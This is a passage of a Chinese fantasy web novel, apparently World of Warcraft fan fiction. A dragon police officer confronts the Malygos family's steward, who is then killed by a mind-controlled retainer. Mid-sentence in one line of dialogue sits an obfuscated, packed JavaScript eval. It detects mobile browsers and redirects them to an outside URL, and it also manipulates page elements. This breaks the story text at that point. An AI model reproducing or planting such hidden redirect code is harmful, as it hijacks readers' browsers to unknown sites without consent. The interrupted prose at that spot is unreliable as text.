小女孩立即抱着猫跑到她父亲面前:“爸爸,我可以帮萨菲隆叔叔照顾比格沃斯吗?“ “当然可以,亲爱的。”科比有气无力地说着,同时用警告的眼神狠狠地盯着萨菲隆,而萨菲隆也用力瞪他。 趁妻子不注意,科比一瘸一拐地走到萨菲隆面前,把女儿拉在自己身后,仰头望着他的搭档,压低声音低喝道: “你这条龙离我的女儿远一点!不然我就跟你拼了!” 萨菲隆双臂环胸:“我说过了:我——只——吃——鱼!” “嘿宝贝儿,你为什么不去那边和可爱的小猫一起玩呢?我和你的萨菲隆叔叔有话要说。”科比回头笑眯眯地对他的女儿说。 “好的!” 目送自己女儿跑进里屋,科比回过头一把揪住萨菲隆的衣领,咬牙切齿地说: “龙难道不都是要掳走公主,然后把她们囚禁在阴暗的巢穴里的吗?! “老天,你奇幻杂志看多了吧!”萨菲隆气急败坏,“再说了你女儿才六岁,我掳去能做什么?” “我怎么知道你会对她做什么!总之你离我家里人远一点!” 听了科比的话,萨菲隆皱起眉头,没再开口。 “爸爸,萨菲隆叔叔,你们在说什么?” “呃……”科比回头望着去而复返、一脸好奇的女儿,张口结舌。 萨菲隆拽开科比的手,理了理衣领:“没什么——你爸爸受了伤,你要乖乖的,不要惹他生气,好不好?” “好。” “那我先走了。” “老萨!”在门被合上前,科比叫道。 咔哒。 科比发誓自己看到萨菲隆的蓝眼睛里闪过了一丝受伤。 自从八年前两人开始搭档时起,他就觉得萨菲隆与众不同——呆呆地站在门前,他飞快地回忆着过去的事,那些曾令他百思不得其解的谜一下子全都有了答案,这反而令他无所适从。 科比突然如梦初醒,拖着受伤的腿蹒跚地追出门去。 他是个笨蛋,他不该对自己的搭档说那种话。 门外空无一人,早没了萨菲隆的影子——当然了,他是条神通广大的龙,只需要开个传送门下一秒就会出现在世界的另一头。 “你在干什么?你的腿上还有伤呢!” “爸爸?” 科比回头,望着他的妻子和女儿,喃喃地说:“他……他走了。” “怎么了?”他的太太说,“老萨他走了吗?他去哪儿了?” “我……我不知道。” “哦亲爱的,你是不是除了腿还伤了别的什么地方?看你一副失魂落魄的样子,我看必须得送你去医院了——顺便一提,用你们警局配的信号探测器可以确认搭档的具体位置,你们的警局大楼塌了,可总署的电脑还是联着网的吧?” 被太太一提醒,科比拍拍脑袋,忙在腰带上摸索了一阵,掏出一只小黑盒子,按下其中一个按钮,低头去看。 “怎么样?他在哪儿?”他的太太问。 科比抬起头,嘿嘿一笑:“他……他只是到警局那边去报到了,没什么,哈哈哈。” 他当然不能告诉太太,如果手里的小黑盒子没出故障,那么此时此刻萨菲隆已经身在距离暴风城数百公里外的铁炉堡了。 …… 找不到奥妮克希亚,也找不到小奥比,在他走进警局大楼和那条黑龙交手前,他的奥术分身曾感应到在暴风城和铁炉堡之间的高速公路上,靠近燃烧平原大桥一带曾出现过高能量反应,根据特征判断应该是奥妮克希亚,想必是她跟麦洛尼家派去的人打起来了。 但令萨菲隆不解的是,跟她交手的人却不是蓝龙,而是黑龙。 黑龙一族对普瑞斯托家族成员忠心耿耿,无论麦洛尼家族承诺什么好处,他们也绝不可能对黑龙公主出手,除非他们全都跟出现在警局大楼里的那条黑龙一样,遭到了彻底的精神污染。 这到底是怎么回事?黑龙带走了小奥比,想必是打算跟麦洛尼家族谈条件,但为何绿龙也有份?因为卡雷苟斯的事绿龙和蓝龙关系一落千丈,难道是为了修复关系才与麦洛尼家的人合作?……不,这不符合绿龙的行事风格。 为了阻拦他去找奥妮和小奥比,被精神污染的黑龙居然直闯他的警局…… 慢着,那条黑龙在自爆前,曾经说过—— 和亚雷苟斯大人作对就得死。 萨菲隆神色凝重,他感到自己的背上凉飕飕的。 黑龙自爆的威力极大,尤其是位阶较高的黑龙,足以将方圆几十公里范围内的市区夷为平地。如果不是因为他在情急之下打开了通往自己巢穴的传送门,并利用自己的奥术位面空间规则大大削弱了黑龙自爆时的能量冲击,他极有可能被炸得粉身碎骨。 有人想要他的命,然后不惜毁掉大半个暴风城来消除证据,对于这个计划的成功实行,那条黑龙的主人无疑有十足把握。 而现在他非但活了下来,还替暴风城化解了一场灾难,有人会恼羞成怒吧? 莫非这些事背后的操纵者会是那位世界首富?亚雷苟斯……他到底想干什么? 萨菲隆拿出手机,拨通电话。 萨夫?我正在等你的电话,你在哪里? “伊萨,告诉我一件事——绿龙死后,精神污染都一定会自动解除吗?” 你问这个做什么? “回答我就可以了,伊萨,这件事非常重要。” 那要看他是用什么方式进行精神污染的了,要知道—— “也就是说永久性的精神污染是存在的?” 当然,我们绿龙干这个是很专业的。 “我明白了,谢谢。” 等等,萨夫,你要干什么?……你是在说伊森德雷吗?—— 萨菲隆收了线。 他不知道亚雷苟斯到底在策划些什么,但他可以肯定,如果奥妮克希亚和小奥比还没有进入黑龙公爵的庇护领域,则很有可能已经陷入极大的危险之中——小奥比已经离开他有一段时间了,没有雄性蓝龙之力的抑制,奥术污染很快就会再次扩散,他的时间已经不多了。 突然他的手机响了。 “伊萨,很抱歉,我现在——” 出乎他意料之外的,电话那边传来的是一个苍老低沉的声音,听起来有些耳熟。 萨菲隆·弗洛斯特先生,我是麦洛尼家的主管埃雷苟斯,我们今天早些时候曾经见过一面。 “是的,埃雷苟斯先生。”萨菲隆不动声色地问,“有什么我能为您效劳的吗?” 我想我们应该谈谈,一刻钟后暴风城码头十七号仓库见,事关重大,我想您最好能准时来。 电话被挂断了。 11. 第 11 章 萨菲隆为自己和埃雷苟斯的第二次会面设想过各种情形,最坏的情况大打出手也不是没可能,尽管那条被精神污染后袭击第七分局的黑龙背后疑云重重,但萨菲隆仍不想跟麦洛尼家族的人发生正面冲突,然而就目前的局势来看他很可能别无选择。 如果灵风能源的大老板真的有问题,埃雷苟斯十有八九也脱不开干系。 暴风城码头十七号仓库外,萨菲隆见到了那条老蓝龙。 一见到萨菲隆,埃雷苟斯的三个随从就是一脸鄙夷,毫不掩饰自己对“叛徒”的敌视,对此萨菲隆并不感到意外,毕竟是因为他的疏忽,小奥比才会被奥妮克希亚带走。 但是,如果说先前萨菲隆还因此而对麦洛尼家族抱有愧疚,那么现在他可不这么想了——假如亚雷苟斯在媒体聚光灯下所展现的完美企业家形象只是这条龙的冰山一角,那么奥妮克希亚的举动无疑是明智的。 尽管她的做法令他……有些难过。 可她不该瞒着他,更不该带着小奥比人间蒸发让他无处寻找,没有了他的蓝龙之力,奥术污染再次发作怎么办?她在拿那小家伙的命当筹码跟麦洛尼家族豪赌,无论结局如何,小奥比都是绝对的输家。 老埃雷盯着萨菲隆,一副审视的态度,像要把他由外至内看个通透。 萨菲隆心想你们派条发疯的黑龙去袭击第七分局,摆明是冲着我来的,警局大楼坍塌,死伤无数,还差点引发另一场大地震,如今暴风城是保住了,我辛辛苦苦建的窝却没了,一大堆乱帐没算,你倒还好意思瞪我。 于是他也毫不示弱,瞪了回去。 三条年轻蓝龙早已摩拳擦掌,但老埃雷却始终没下令对萨菲隆出手,而是提了一个很奇怪的问题: “萨菲隆·弗洛斯特先生,可否请教令尊的高姓大名?” 萨菲隆完全没料到老埃雷开口第一句话问的却是毫无相干的事,连老埃雷的随从们也是大眼瞪小眼,不明所以。 “我不明白您是什么意思,埃雷苟斯先生。”萨菲隆低声说。 “只需要试着回答我就可以了,萨菲隆先生。” “我的父亲是萨弗拉斯·弗洛斯特。” 萨菲隆很快便给出了回答,但这并未让埃雷苟斯满意。 “蓝龙的历史上从未有过任何家族用过‘弗洛斯特’这个姓氏。”——暂且不论是否真的有一条叫“萨弗拉斯”的蓝龙——萨菲隆又怎会听不出那条老蓝龙的弦外之音? “蓝龙在远离泰坦尼亚的凡人世界生活本身就是件很奇怪的事,不是吗,萨菲隆先生?” “您究竟想说什么?”萨菲隆没好气地问。 “萨菲隆先生,能让我了解一下您的学术成就吗?” “?” 这条老蓝龙的问题真是越来越奇怪了,如果埃雷苟斯企图以此来淡化他因为“某些事”对麦洛尼家族的敌对情绪,那可真是个失败的策略。 “‘学术成就’指的是什么?” “这位是埃苏罗斯,他曾对破解泰坦的上古遗物诺甘农圆盘做出突出贡献;这位是斯克利尔,因为‘穆鲁理论’而成名——而这位是以‘多重平行空间迁跃模型’而闻名的阿坎纳苟斯。”老埃雷侧过身,向萨菲隆逐一介绍他的三位随从。 “噢,原来您的随从都是科学家和工程师,我还说呢,作为打手他们的实力确实不怎么样。”萨菲隆故意做不屑一顾状,果然引来三道愤怒的目光。 对于那个大个子警察的冷嘲热讽老埃雷并未动怒:“我从几千年前就开始参与令混乱的奥术能量趋于稳定的研究,麦洛尼家族赞助了我的研究,后来我为麦洛尼家族工作,一开始只是科技部顾问,后来成了总监,最后成了家族事务主管。” 说完这些,老埃雷望向萨菲隆。 “那么,萨菲隆先生,您呢?您曾经参与过什么科学项目,或者提出过什么学术理论吗?” “没有。” 埃雷苟斯一愣:“您长期在人类世界生活,想必对艾泽拉斯世界的科技发展有非常深入的了解吧?你——” “我只懂用傻瓜式的家用电器,要是电脑坏了我只能去求隔壁刚上初中的小孩帮忙。”萨菲隆实话实说,“我只是比较擅长摆弄警用装备,不过你要问我它们的工作原理的话,那我是一窍不通。” “……那么用凡人的说法,您拿过什么博士学位吗?”老埃雷越听眉头皱得越紧。 “没有。” “那硕士学位呢?” “没有。” “……您拿学士学位时总该写论文吧?” “我从来就没写过什么论文。”萨菲隆答道。 三条年轻的蓝龙一脸震惊,满脸的不可思议,老埃雷看起来更是一副快要昏倒的模样,这令萨菲隆完全是一头雾水。 “噢,我曾经写过几篇关于如何能更有效地制服歹徒,降低民众伤亡几率的文章,我还写过一些枪械的使用心得,有发表在《当代警察》和《枪友》杂志上……”萨菲隆抓了抓头,“……如果那也算是论文的话,虽然每次投稿都被编辑骂错字太多文法不通,但好歹他们总会刊登——” “萨菲隆先生,能告诉我您是什么学府毕业的吗?”老埃雷忍无可忍地打断了他的话。 “马迪亚斯·肖尔警校啊,军情七处办的,很有名的呢。”萨菲隆说。 “警……警校?!”老埃雷捂住嘴,半响才不抱希望地问,“他们教微积分吗?” “不教,所以我才会去报考警校。”萨菲隆一脸不解地望着那几条蓝龙,“先生们,你们怎么了?脸色很难看呢。” “他不会微积分……” “他居然连微积分都不会……” “这世界上竟还有不会微积分的蓝龙……” 萨菲隆皱起眉:“好吧,来自泰坦尼亚的蓝龙科学家和工程师们,我不知道你们究竟想要干什么,如果把我叫来这里就是为了问我会不会微积分的话,那么现在你们已经得到答案了,恕我先失陪了。” “等……请等一下!”老埃雷叫道。 “您还有什么事吗,埃雷苟斯先生?”萨菲隆问。 “……微积分对蓝龙来说,就好像人类的加减法一样,是基础中的基础……你……你……”老埃雷一边说着一边抚着胸口直喘气,看来萨菲隆不会微积分这件事对他的打击着实不小。 “让您失望真是遗憾。”萨菲隆耸了耸肩,“要不这样吧,回头您以灵风能源集团的名义给军情七处写封信,责成他们立即开设数学课,全面提高警员素质如何?” “奥比小少爷刚出生不久就解出了很多数字难题,麦洛尼家的每位成员都是天才……”老埃雷自顾自地念叨着,“麦洛尼能位列八大家族,可以说靠的就是对科技和魔法的巨大贡献——” “这跟我到底有何相关?”萨菲隆一脸费解,“埃雷先生,我跟您说实话好了,弗洛斯特这个姓氏是我瞎编的,因为在龙语里它的发音很接近‘冰霜’——我并不知道自己的父母是谁,我是个孤儿,在很小的时候就被遗弃在暴风城,奥术污染几乎要了我的命,虽然我命大熬了过来,但奥术污染还是导致我的基因突变——我没有其他蓝龙那么聪明,我的智商只有107,也许更低,跟蓝龙动辄300以上的智力水平差得很远,我的身体很强壮,力气比大多数红龙和黑龙还要大——真遗憾,我知道这种四肢发达头脑简单的模样不符合蓝龙社会的主流审美,可我也没有办法。” “……” “奥妮克希亚带走了小奥比,他们身边想必不会有雄性蓝龙,埃雷先生,也许在我们讨论微积分的时候小奥比已经又疼得死去活来了,我必须立即找到他。” “是的,萨菲隆先生,您说得对,但——” “但是有人在阻挠我,我所在的警局刚刚遭到黑龙的袭击,他不惜同归于尽也要阻止我去找小奥比,那条黑龙自爆前说自己的主人——” 萨菲隆冷冷地看了埃雷苟斯一眼:“——是亚雷苟斯。” “一派胡言!这根本是诬陷!”两条年轻的蓝龙异口同声。 和随从们激烈的反应不同,老埃雷显得非常平静,转向相对比较沉得住气的“夜之魇”阿坎纳苟斯:“你怎么看?” 阿坎纳苟斯略一思索,应道: “黑龙认为萨菲隆先生去找奥比小少爷会妨碍他们胁迫麦洛尼家族,就派人袭击了他的警局,然后嫁祸亚雷苟斯大人。” “确实看起来很像是这么回事。”萨菲隆点了点头,“但是,精神污染怎么解释?” “你说什么?”老埃雷一愣。 “那条黑龙受到了精神污染。”萨菲隆顿了顿,“就跟不久前在暴风城身亡的卡雷苟斯一样。” 老埃雷横举拐棍,阻止身后怒不可遏的随从扑向萨菲隆,阿坎纳苟斯也急忙架住他那两位激动的同伴,但对方并不领情,直瞪着他: “他对死去的卡雷苟斯大人无礼,你居然也忍得住?!” “还想挨耳光吗?”阿坎纳苟斯冷冷反问。 “你说什么?!” “都给我安静!”老埃雷不耐地用拐棍前端敲着地面,随后又望向萨菲隆,“警官先生,我不是很明白你在暗示什么。” “无意冒犯,只是当惯了警察,凡事都忍不住要疑神疑鬼一番。”萨菲隆淡淡地说,“和那条黑龙打过交道后,我觉得一个多月前暴风城大地震似乎还有些蹊跷。只想着大事化小,对卡卡先生不公平,对那些在地震里死去的人也不公平——红龙濒死前的光环拯了成千上万的生命,却遮掩不了事实;震后几百亿金币的巨额捐款的确帮助了很多人,但也同样抹不掉种种内幕吧?” 此话一出,场面顿时静了下来。 “我希望您明白自己刚才说了些什么。”老埃雷掏出手帕拭了下额角,缓缓地说。 “知道小奥比被黑龙带走后,麦洛尼家族立即派出人手,我不知道埃雷先生你们赶到现场时看到了些什么,但据我所知那不是阻拦,而是截杀;如果袭击警局的那条黑龙跟我同归于尽,那么会直接导致小奥比失去蓝龙之力的庇护而死——埃雷先生,有人想杀掉小奥比,以免让黑龙利用那个孩子来威胁自己,但很遗憾,他同时实施的两个方案都没能成功——他派去的人大概已经全被奥妮杀了,而另一边,黑龙自爆了,我却还活着。” 老埃雷站得笔直,一言不发,像尊雕塑。 “卡雷苟斯死了,第一直接受益者是谁?” “够了,萨菲隆先生。” “埃雷先生,蓝龙的新一任首席执行官的竞选结果已经出来了吗?” “我说够了!警官先生!!”老埃雷猛地提高声音,“你以为你斗得过亚雷老爷吗?!” 萨菲隆笑了。 “您刚才说什么,埃雷先生?” 老蓝龙并未因为自己的一时失言而慌乱,他面无表情地凝视着萨菲隆: “知道得太多对你没有好处,萨菲隆先生,就算你能找到证据来支持你的种种假设或者猜测,你也根本不是亚雷老爷的对手,他的精锐律师团会倾巢出动,身为麦洛尼家族的代理掌门人和灵风能源集团的董事长兼总裁,他的关系网有多庞大根本不是你能想象得到的——你甚至还来不及伤到他身上的半块鳞片就会碰个头破血流。” “自不量力的小警察VS富可敌国的大老板,以卵击石哈?”萨菲隆抓抓头,歪着脖子想了想,“可我那只有107智商的笨脑袋在强迫我坚持心中可笑的小正义……埃雷先生,我该怎么办呢?” “这就是我叫你来这里的原因——你以为我刚才的问题都是在东拉西扯吗?”老埃雷板起脸,“我还以为你跟那些年轻人不一样,想不到也是这么浮躁,到底是没经过正规的精英教育,虚度了这么多年,你在人类世界待得太久,已经沾染了太多凡人的秉性,麦洛尼家族不会欢迎一条浑身浊气的龙,光是龙语的贵族体就有你学的……” “说重点,埃雷先生。”萨菲隆不得不打断老蓝龙的絮絮叨叨。 “你必须跟我回泰坦尼亚。” “我?”萨菲隆指着自己的鼻子,“不是小奥比吗?” “没错,就是你。”老埃雷斩钉截铁,“是时候跟你过去那些乱七八糟的生活说再见了,奥比小少爷毕竟年幼,难以担当大任,从今以后你就是——” 咔!—— 老埃雷的话被一声闷响打断,他一脸讶然地垂头看着自己的胸膛。 四根锋利似刀的手指从他的胸前穿出,暗红色的血转眼间浸透了他雪白的衬衣和紫蓝色的领带,一点点地滴在他斑驳苍老的手背上。 萨菲隆大吃一惊,另外两位蓝龙随从也吓呆了。 老埃雷张开了自己的防护结界,但已经太迟,背后的偷袭者下手稳准利落,一举击中要害,埃雷苟斯的防护结界尚未成型就自行崩溃,强行激发蓝龙之力失败,老蓝龙雪白的山羊胡被咳出的鲜血染红,死亡的阴影笼罩住了他的眼。 “阿……阿坎纳苟斯……你……”老埃雷断断续续地念着那个名字。 “这是你自寻死路,埃雷先生,不要怪我。” “夜之魇”阿坎纳苟斯在老蓝龙的耳边轻声说。 “你……你这个麦洛尼家族的叛——” 年轻的蓝龙无情地将五指张开,埃雷苟斯胸前的伤口扩大,涌出了更多的鲜血,剧烈的痛楚令那条老迈的龙发出哀鸣。 “埃雷先生,您对卡雷苟斯太过于忠诚,我从一开始就不认为您会尽心尽力地辅佐他的兄弟。” 老埃雷瞪大了眼,他张着嘴,却什么也没说出来。 “埃雷先生,卡雷苟斯已经死了,他的儿子很快也会去诺森德与他团聚,麦洛尼家族不需要另一个新的掌门人——如果那是您所期望的,那么很遗憾……” 越过老埃雷的肩,阿坎纳苟斯冷冷地盯着萨菲隆。 “跟亚雷苟斯作对就得死。” 那神情,那口吻,跟那条自爆的黑龙如出一辙。 “你……你不是阿坎纳苟斯……你……你究竟是谁?!”老埃雷嘶吼着。 “他已经被精神污染了,就跟其他人一样。”萨菲隆沉声道。 “夜之魇”笑了。 “我的确不是阿坎纳苟斯,但我也没有被精神污染——” “这条龙的身体为我所有——” “我就是亚雷苟斯。” 说完年轻的蓝龙猛地抽出手,老埃雷捂着自己胸前的伤口,颤颤巍巍地朝萨菲隆走去,最终离他还有几步远的时候,再也无力支撑,颓然倒下。 萨菲隆冲上前,托住老埃雷的身体,发动自己的蓝龙之力,试图帮助对方,然而他终究不是红龙,无法治愈老埃雷的伤,只能眼睁睁地看着那条老蓝龙走向死亡。 “不!……不,不要,别白费力气。”老埃雷推开萨菲隆的手,“我……我太老了……我就要死了。” 老蓝龙紧紧地抓住萨菲隆的衣襟,死死地瞪着他,胸膛剧烈地起伏着,像只破损的风箱,呼哧呼哧地做着最后的挣扎。 他艰难地抬起手,颤抖着抚着萨菲隆的脸,留下了几道弯弯曲曲的血痕。 那一刻,老人的表情突然变得很柔和。 “是你……是你……你……你的确是他的儿子。” 萨菲隆感到自己的心被狠狠地扎了一下,莫名的痛令他蹙紧眉头。 “对不起……对……对不起……我很抱歉……请你原谅我。” 那条白发苍苍的老蓝龙嗫嚅着,老泪纵横。 “战事来得太突然……黑龙王奈萨里奥背叛了我们,无数的蓝龙在一瞬间……被……被焚为灰烬……尸骨无存……蓝龙王玛里苟斯大人被迫向黑龙宣战……黑龙向我们发动袭击……” “别再说话了,埃雷先生。”萨菲隆劝道,但老埃雷没听他的。 “……混乱中我和你的家人走散了……那天泰坦尼亚就好像……好像地狱一般……天空……和大地被龙血染红……麦洛尼家族死了不计其数的人……我们……我们都以为你死了,我们翻遍了堆积成山的龙尸……可是我们一无所获……我们都以为你跟其他人一样……对不起……对不起……都是我不好,我辜负了老爷的嘱托,我没能保护你……” 老埃雷的话低而急促,他冰冷而枯瘦的手抚摸着萨菲隆的脸,像是在渴求某种慰藉,某种宽恕,但这似乎只能加重老人心中的愧疚和悔恨。死期将至,被尘封了无数个世纪的回忆一下子冲破束缚,击碎了他冷漠刻板的面具。 而这对于萨菲隆来说,也具有同样的冲击力。 在他的记忆中,从未有人这样对待过他。 他从未有过机会做一个合格的儿子。 如果这就是父亲式的关切和保护,那么他曾经错过的,也许远比想象的要多。 但这一丝浮光掠影般的触动,也很快便要失去了。 “麦洛尼家族……是蓝龙最后的希望……” 埃雷苟斯望着萨菲隆:“无论有多恨它……别让它毁掉,求你……” “……” “答应我……替我照顾好奥比小少爷……” “我会的。” 终于等到了一个肯定的回答,老埃雷露出一丝欣慰的笑容。 “亚雷苟斯……无论他做了多少错事……请……请宽恕他。” 萨菲隆不知该如何应答,但这已无关紧要。 那双紧紧抓着他衣襟的苍老的手忽然松开,无声无息地垂下。 眼中的蓝色渐渐褪去,蒙上了一层死灰,老蓝龙咽下了最后一口气,死在了萨菲隆的怀里。 萨菲隆将老埃雷的身体轻轻放在地上,将他的双手置于胸前,麦洛尼家族的老主管直到死亡降临的那一刻依然一丝不苟,他静静地躺在萨菲隆脚边,鲜血装点着他的矜持、固执和数不尽的牵挂,诺森德又将接纳一个孤独的灵魂。 这一切都来得那么突然。 萨菲隆抬起头,凝视着那条年轻的蓝龙——“夜之魇”阿坎纳苟斯。 或者应该称其为亚雷苟斯的傀儡。 “真是伤感。” “夜之魇”平静地说:“埃雷先生为麦洛尼家族服务了很多个世纪,三朝元老,劳苦功高,我本来应该留他一条性命的,不过……”他摇了摇头,“他太自以为是,以至于忘记了自己的身份——麦洛尼家族的事,怎能任由外人妄加干涉呢?” 他是如此的轻描淡写,仿佛埃雷苟斯的死对他来说只是一件微不足道的事,他看着那条兢兢业业地侍奉了麦洛尼家族上万年的老蓝龙的尸体,就仿佛在看一个坏掉的物件,眼中波澜不惊。 这令萨菲隆怒不可遏,他已经很久,很久没有这样生气过了,蓝龙之力激发,在他身体周围凝聚成浓烈的光雾,这令那两条至始至终不知所措的年轻蓝龙惊惶不已——他们从未见过这么强大的蓝龙之力,无论是奥术还是冰霜,如此规模的能量场会轻而易举地撕裂空间和时间,任何东西的物理结构都会被遭到原子级别的破坏。 “这……这到底是怎么回事?!” “阿坎纳苟斯,你为什么要这么做?!” 埃雷苟斯一死,他们顿时失去了方向——阿坎纳苟斯杀了麦洛尼家族的主管,他的气定神闲令他们恐慌,他们是该对阿坎纳苟斯出手要他血债血偿,还是该去对付怒气腾腾的萨菲隆?……麦洛尼家族的掌门人和主管之间究竟发生了什么?谁才是叛徒?现在谁才是掌握大局的那个人? “这个人。”阿坎纳苟斯指着萨菲隆。 “他和埃雷苟斯先生勾结,冒充麦洛尼家族流落在外的成员,企图控制整个麦洛尼家族,现在我已经清理了门户。这个人是麦洛尼家族的最大威胁——我建议你们最好谨慎选择自己的立场,否则下场也许会同样悲惨。” 两条年轻的蓝龙对视了一眼,咬牙举起右手,将蓝光闪烁的掌心对准了萨菲隆。 “聪明的选择。”“夜之魇”唇角扬起一丝微笑。 巨大的六芒星阵徐徐转动,萨菲隆的蓝龙之力被推至顶点,整个码头都在颤抖。 “这家伙力量太强了,我们会被碾碎的!” “用三相奥术防御结界。”“夜之魇”说。 蓝龙的奥术结界被公认为性能最强、适应力最优秀的防御法术,而“多相结界”则是集结数条蓝龙的力量构筑而成的“绝对领域”,将所承受的能量冲击进行散式分流,效果远远强于多层奥术结界的线性叠加。然而建立“多相结界”需要满足两个条件,一是参与者的力量等级要基本处于同一水平,二是对蓝龙之力的控制要统一节奏,缺一不可。 这也是埃雷苟斯会选中他们三人作为随从的原因。 当萨菲隆的冲击波到来时,三条蓝龙已经完成了他们的防御工事。 没错,就是这样,哪怕萨菲隆的力量再强,也不可能突破。 萨菲隆的攻击撞上了奥术结界,除了被防护罩保护的区域,周围的一切都在顷刻间支离破碎——两条年轻的蓝龙熬过最初的压力后面露喜色,果然有了多相结界的防护,那大个子警察是奈何不得他们的。 烟尘形成屏障,遮挡住了萨菲隆的脸,他高大的身躯矗立于六芒星阵后,看不清他的表情,也许完全没料到自己的倾力一击竟会被完全防住,也许正在考虑收手逃走吧? “把他的攻击弹回去,让他尝尝被自己的招式打中的滋味!“ 一人提议,立即得到了另一位同伴的附和。 “好啊。”“夜之魇”微笑着点头,“这样一直撑着也不是办法。” 但他却没有和另外两条蓝龙一起同步增大能量输出,反而停了下来! 阿坎纳苟斯突然撤销了自己全部的蓝龙之力,三相奥术防御结界的平衡荡然无存,再也无力抵御萨菲隆的攻击。 两条蓝龙大惊失色,当见到“夜之魇”阿坎纳苟斯仍是一副处变不惊的模样时,他们突然意识到自己中计了—— 三相奥术防御结界是个骗局,而他们在情急之下无暇细想,还是如往常一样把自己的性命交到“那个人”手上,可对方根本没打算要跟他们一道“守护麦洛尼家族”,而是要借萨菲隆的手杀掉他们。 为什么?……这是为什么?如果埃雷先生是因为背叛了麦洛尼家族才遭到杀身之祸,为什么他们也会落到如此下场? 他们……已经被亚雷苟斯大人抛弃了吗? “真遗憾,你们知道的还是太多了。”“夜之魇”摇了摇头,“我不像埃雷先生那样善于使用记忆擦除术,所以只能这样做了。” 说着他低头看看自己:“埃雷先生一死,这具身体也没用了啊。” 奥术结界彻底崩溃,冲击波顷刻间将三条蓝龙吞噬。 …… 当阿坎纳苟斯恢复知觉时,他正被两条蓝龙死死地揪住不放。 那是他的同伴,他们正愤怒地瞪着他,好似有什么深仇大恨,他原本还以为对方是在开玩笑,但当他在推搡扭打中无意朝身旁扫了一眼,却是脸色骤变。 埃雷苟斯正静静地躺在血泊中,声息全无。 “你的手上沾着埃雷先生的血!你这个叛徒!你是凶手!!” 阿坎纳苟斯怔怔地望着自己的手,呆若木鸡。 这究竟是怎么回事?到底发生了什么?为什么会这样? “亚雷苟斯控制你对埃雷先生下手,他还想把你们三个都杀掉灭口。” 耳边响起一个低沉似铅的声音,他扭头一看,萨菲隆正站在一旁,双臂环胸,面无表情地看着他。 “我没有下重手,否则现在你们已经不存在了。”萨菲隆说,“你们可能断了几根骨头,但都会活下来。” “为什么不杀了我们?” “我是警察,不是杀手。”萨菲隆答道,又盯着阿坎纳苟斯,“现在,在你们理清头绪前,我有一个问题。” 一条年轻的蓝龙置若罔闻,来到老埃雷的尸体旁,伏下身去,失声痛哭,另一条蓝龙狠狠地丢下阿坎纳苟斯,蹒跚地走开,望着黑漆漆的大海,默不作声。 阿坎纳苟斯强忍着痛楚,擦了擦嘴角的血丝,低哑地应道:“你说。” “亚雷苟斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363274|199776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他现在在哪里?”萨菲隆问。 阿坎纳苟斯欲言又止,踌躇片刻后,终于垂下眼,一脸疲惫地答道: “泰坦尼亚,‘魔枢’奈克萨斯中央区,灵风大厦顶层的圆顶办公室。” “我需要你的泰坦尼亚位面通行证、灵风大厦的安全口令,以及通往‘魔枢’的传送门编码。” 蓝龙丝毫没有回绝余地,索性全都告诉了萨菲隆,见他打开了传送门,低声开口:“你……你打算怎么办?” “去见你们的大老板,做个了断。” 说着,萨菲隆挥了挥手,头也不回地走进了传送门。 阿坎纳苟斯望着萨菲隆的传送门消失在空气中,又转头看着他的同伴。 “我们还能信任你吗?”他们问道。 他哑口无言,他发誓自己对眼前所发生的这一切都不知情,他觉得自己就好像昏睡了一阵,醒来后却发现一切都变了——是从什么时候开始的呢? 对了,好像是从他们随着埃雷苟斯先生前往铁炉堡包抄奥妮克希亚时开始的。 他只记得上一刻老埃雷还神情严肃地向他们三人叮嘱着什么,一阵闪光后,他在一阵眩晕和剧痛中醒来,而局势急转直下——是的,就是那阵闪光,埃雷先生究竟对他们说了些什么?他们究竟看到、或者听到了什么?直觉告诉阿坎纳苟斯,那一定是相当重要而且惊人的信息,但他无论怎么努力,那段记忆就像被谁强行抠掉了似的,空白一片。 强大的能量反应打破僵局,有人来了。 “这是怎么搞的?”一个不悦的声音响起。 那是个身材高挑的黑发女性,美得惊人的金色眼瞳中杀气腾腾,她毫不掩饰自己的身份,血的腥气和雌性龙的味道混在一起,调和出一种带着强烈侵略意味的性感。 她是蓝龙们此时此刻最不想见到的人。 “怎么,麦洛尼家族的老管家挂了?是萨菲隆干的吗?他人在哪里?” 扫了一眼埃雷苟斯的尸体,奥妮克希亚追问着,三条蓝龙如临大敌,紧绷着神经,却又敢怒不敢言,此时一盘散沙的他们根本不是奥妮克希亚的对手,如果她是因为在燃烧平原大桥上遇袭而来找麦洛尼家族的人寻仇,那他们死定了。 更何况那条母黑龙身边似乎还有帮手。 一个身材魁伟得跟萨菲隆不相上下的巨人抱着一团东西站在奥妮克希亚身后,看到他那标志般的光头和鲜红色的眼瞳,蓝龙们大吃一惊——红龙中将安多洛夫居然跟黑龙公主奥妮克希亚在一起? 而那光头巨人怀里抱着的—— 竟是他们的奥比小少爷! 奥妮克希亚走到阿坎纳苟斯身边,伸手卡着他的脖子将他整个人举了起来: “萨菲隆不可能对麦洛尼家的人主动出手——这老头子是谁杀的?” “唔……唔唔……”黑龙细腻精致的手像钳子一样有力,他根本说不出话。但奥妮克希亚并不指望他回答问题,金瞳一转,看着他手臂上干涸的血迹,又瞥了一眼老埃雷尸体上的伤痕,冷笑一声,“是你干的吧?” “……” 她送开手,把他丢在地上,冷冷地问: “萨菲隆他人呢?我给你三秒,一——” “……” “二——” “噢,亲爱的,别再吓他了。”一个带着几分戏谑的浑厚嗓音从她背后传来。 那个光头巨人来到奥妮克希亚身后,一手抱着小蓝龙,一手握住她的手腕。 “你现在又变成‘卡卡’了?”奥妮克希亚白了他一眼。 “公主殿下,你这样高压逼供很难得到对方的配合呀,就算你把他们都杀了,还是弄不到想要的情报,还让黑龙和蓝龙的关系雪上加霜,何必弄得这么僵呢?” “那是麦洛尼的责任,与我何干?” “你们先绑架了这小子,麦洛尼家的人才抓狂的不是?” 